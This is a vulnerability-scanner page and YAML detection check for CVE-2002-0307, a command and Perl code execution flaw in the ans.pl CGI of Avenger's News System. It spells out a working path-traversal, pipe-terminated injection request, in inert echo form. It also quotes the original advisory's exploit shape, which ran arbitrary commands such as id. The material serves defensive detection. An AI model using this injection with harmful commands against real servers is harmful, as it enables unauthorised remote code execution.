Avenger News System — 1 vulnerability check
noctis ships 1 vulnerability check for Avenger News System, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Avenger's News System ans.pl Command Execution
| CVE | CVE-2002-0307 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/avenger-news-system/CVE-2002-0307.yaml |
Detects unauthenticated command and Perl code execution in ans.pl, the CGI of Avenger's News System (ANS) 2.11 and earlier (CVE-2002-0307). The script loads the "plugin" named in the p= parameter with Perl's two-argument open() and eval()s what it reads, without filtering the name: a value such as ../../bin/<command>| runs <command> through the shell and its output is executed as Perl. The feed requests ans.pl under the web root, /ans, /cgi-bin and /cgi-bin/ans with p= set to a traversal to /bin/echo that prints a one-line Perl statement computing the difference of two per-run random numbers, with a second difference computed by the shell itself (spaces written as ${IFS}, the query string being used undecoded). It reports only when the reply contains NOCTIS followed by one of the computed differences, which neither number of the request contains: the Perl result proves shell plus Perl execution, the shell result proves shell execution on builds that print the plugin output. The only command run on the target is /bin/echo; no file is read or written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/ans.pl?p=../../../../../../../../../bin/echo${IFS}'print(q(NOCTIS).({{ov.a}}-… - Checks
inj.bannerforNOCTIS→ finding QoD 97: ans.pl command and Perl code execution confirmed via GET …/ans.pl?p=../(x9)bin/echo 'print(q(NOCTIS).(…-…).q(END))'|&blah: the echoed line … - Checks
inj.bannerforNOCTIS→ finding QoD 97: ans.pl command execution confirmed via GET …/ans.pl?p=../(x9)bin/echo …`expr … - …`…|&blah: the shell output NOCTIS…END (a difference absen…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2002-0307
- https://seclists.org/bugtraq/2002/Feb/292
- http://www.securityfocus.com/bid/4147
Feed source — tests/vulnerabilities/avenger-news-system/CVE-2002-0307.yaml
# Avenger's News System (ANS) ans.pl command execution (CVE-2002-0307, BID 4147)
#
# Credit: target locations and request shape adapted from Greenbone's
# `pre2008/avengers_news_system_command_execution.nasl` (GPL-2.0-only), which
# requests <dir>/ans.pl?p=../../../../../usr/bin/id|&blah and
# <dir>/ans/ans.pl?p=… under / and the CGI dirs and looks for the
# uid=/groups= output of `id`.
# Advisory (Bugtraq 2002-02-21, b0iler, "Command execution in Ans.pl"):
# $QUERY = $ENV{'QUERY_STRING'}; # raw, never URL-decoded
# plugin name = text after "p=" up to the first "&"
# open(PLUGIN, "$FILE_LOCATION/$plugin"); # two-argument open
# eval("@plugin"); # the plugin's lines are eval'd
# exploit: ans.pl?p=../../../../bin/command argument|&blah
# Fix proposed there: escape metacharacters, strip "..", open with "<".
#
# Root cause: a name ending in "|" makes Perl's two-argument open() run it
# through /bin/sh as a read pipe; the command's output is then read as the
# "plugin" and handed to eval() as Perl code.
#
# The feed runs, as the plugin name,
# ../../../../../../../../../bin/echo${IFS}'print(q(NOCTIS).(<a>-<b>).q(END));q(NOCTIS'`expr${IFS}<c>${IFS}-${IFS}<d>`'END)'|
# (a, c: 7-digit, b, d: 6-digit per-run random ints; ${IFS} for spaces since
# the query string is not decoded; `expr` rather than $((…)) so a pre-POSIX
# Bourne /bin/sh runs it too). The shell prints the line
# print(q(NOCTIS).(<a>-<b>).q(END));q(NOCTIS<c-d>END)
# * when the script eval()s it (the advisory's code), Perl prints
# NOCTIS<a-b>END — proof of shell execution AND Perl code evaluation;
# * when a build prints the plugin output instead, the page carries
# NOCTIS<c-d>END — the difference computed by the shell.
# Neither difference appears in the request, so a page that reflects the query
# string (or the escaped name, as the fixed script would) cannot match.
#
# Better than the reference check: no `id` output (whose uid=/groups= words
# also match a page merely quoting `id` output) — an inert computed marker
# instead, which also proves the eval() step; /cgi-bin/ans/ans.pl is covered.
uid: 1cc2344a-7046-44be-b6dd-60a22cb8ec9f
name: "Avenger's News System ans.pl Command Execution (CVE-2002-0307)"
description: |
Detects unauthenticated command and Perl code execution in ans.pl, the CGI
of Avenger's News System (ANS) 2.11 and earlier (CVE-2002-0307). The
script loads the "plugin" named in the p= parameter with Perl's two-argument
open() and eval()s what it reads, without filtering the name: a value such
as ../../bin/<command>| runs <command> through the shell and its output is
executed as Perl. The feed requests ans.pl under the web root, /ans,
/cgi-bin and /cgi-bin/ans with p= set to a traversal to /bin/echo that
prints a one-line Perl statement computing the difference of two per-run
random numbers, with a second difference computed by the shell itself
(spaces written as ${IFS}, the query string being used undecoded). It
reports only when the reply contains NOCTIS followed by one of the computed
differences, which neither number of the request contains: the Perl result
proves shell plus Perl execution, the shell result proves shell execution
on builds that print the plugin output. The only command run on the target
is /bin/echo; no file is read or written.
cves: [CVE-2002-0307]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [avenger-news-system, ans, cgi, perl, command-injection, code-injection, path-traversal, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2002-0307"
- "https://seclists.org/bugtraq/2002/Feb/292"
- "http://www.securityfocus.com/bid/4147"
steps:
# a, c: 7 digits; b, d: 6 digits -> 7-digit differences, never equal to an operand.
- id: gen-tokens
action: script
code: |
let a = rand_int(5000000, 9999999);
let b = rand_int(100000, 999999);
let c = rand_int(5000000, 9999999);
let d = rand_int(100000, 999999);
#{ a: a, b: b, c: c, d: d, perl: "" + (a - b), sh: "" + (c - d) }
store_as: ov
# ── Per location (the reference check's dirs + /cgi-bin/ans): this step and every following one ──
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init
action: set_var
var_name: inj
var_value: {connected: false, banner: null}
loop:
over:
- ""
- "/ans"
- "/cgi-bin"
- "/cgi-bin/ans"
var: dir
# Raw request line: the script reads QUERY_STRING undecoded, so nothing is
# percent-encoded and spaces are ${IFS}.
- id: inject
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/ans.pl?p=../../../../../../../../../bin/echo${IFS}'print(q(NOCTIS).({{ov.a}}-{{ov.b}}).q(END));q(NOCTIS'`expr${IFS}{{ov.c}}${IFS}-${IFS}{{ov.d}}`'END)'|&blah HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10 # connect only; the reply is read for 3 s (checks/tcp.rs)
store_as: inj
- id: confirm-perl-eval
action: match
source: inj.banner
pattern: "NOCTIS"
condition: "type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.perl + \"END\", inj.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ans.pl command and Perl code execution confirmed via GET {{dir}}/ans.pl?p=../(x9)bin/echo 'print(q(NOCTIS).({{ov.a}}-{{ov.b}}).q(END))'|&blah: the echoed line was eval'd and printed NOCTIS{{ov.perl}}END (a difference absent from the request)"
stop: true
- id: confirm-shell
action: match
source: inj.banner
pattern: "NOCTIS"
condition: "type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.sh + \"END\", inj.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ans.pl command execution confirmed via GET {{dir}}/ans.pl?p=../(x9)bin/echo …`expr {{ov.c}} - {{ov.d}}`…|&blah: the shell output NOCTIS{{ov.sh}}END (a difference absent from the request) reached the reply"
stop: true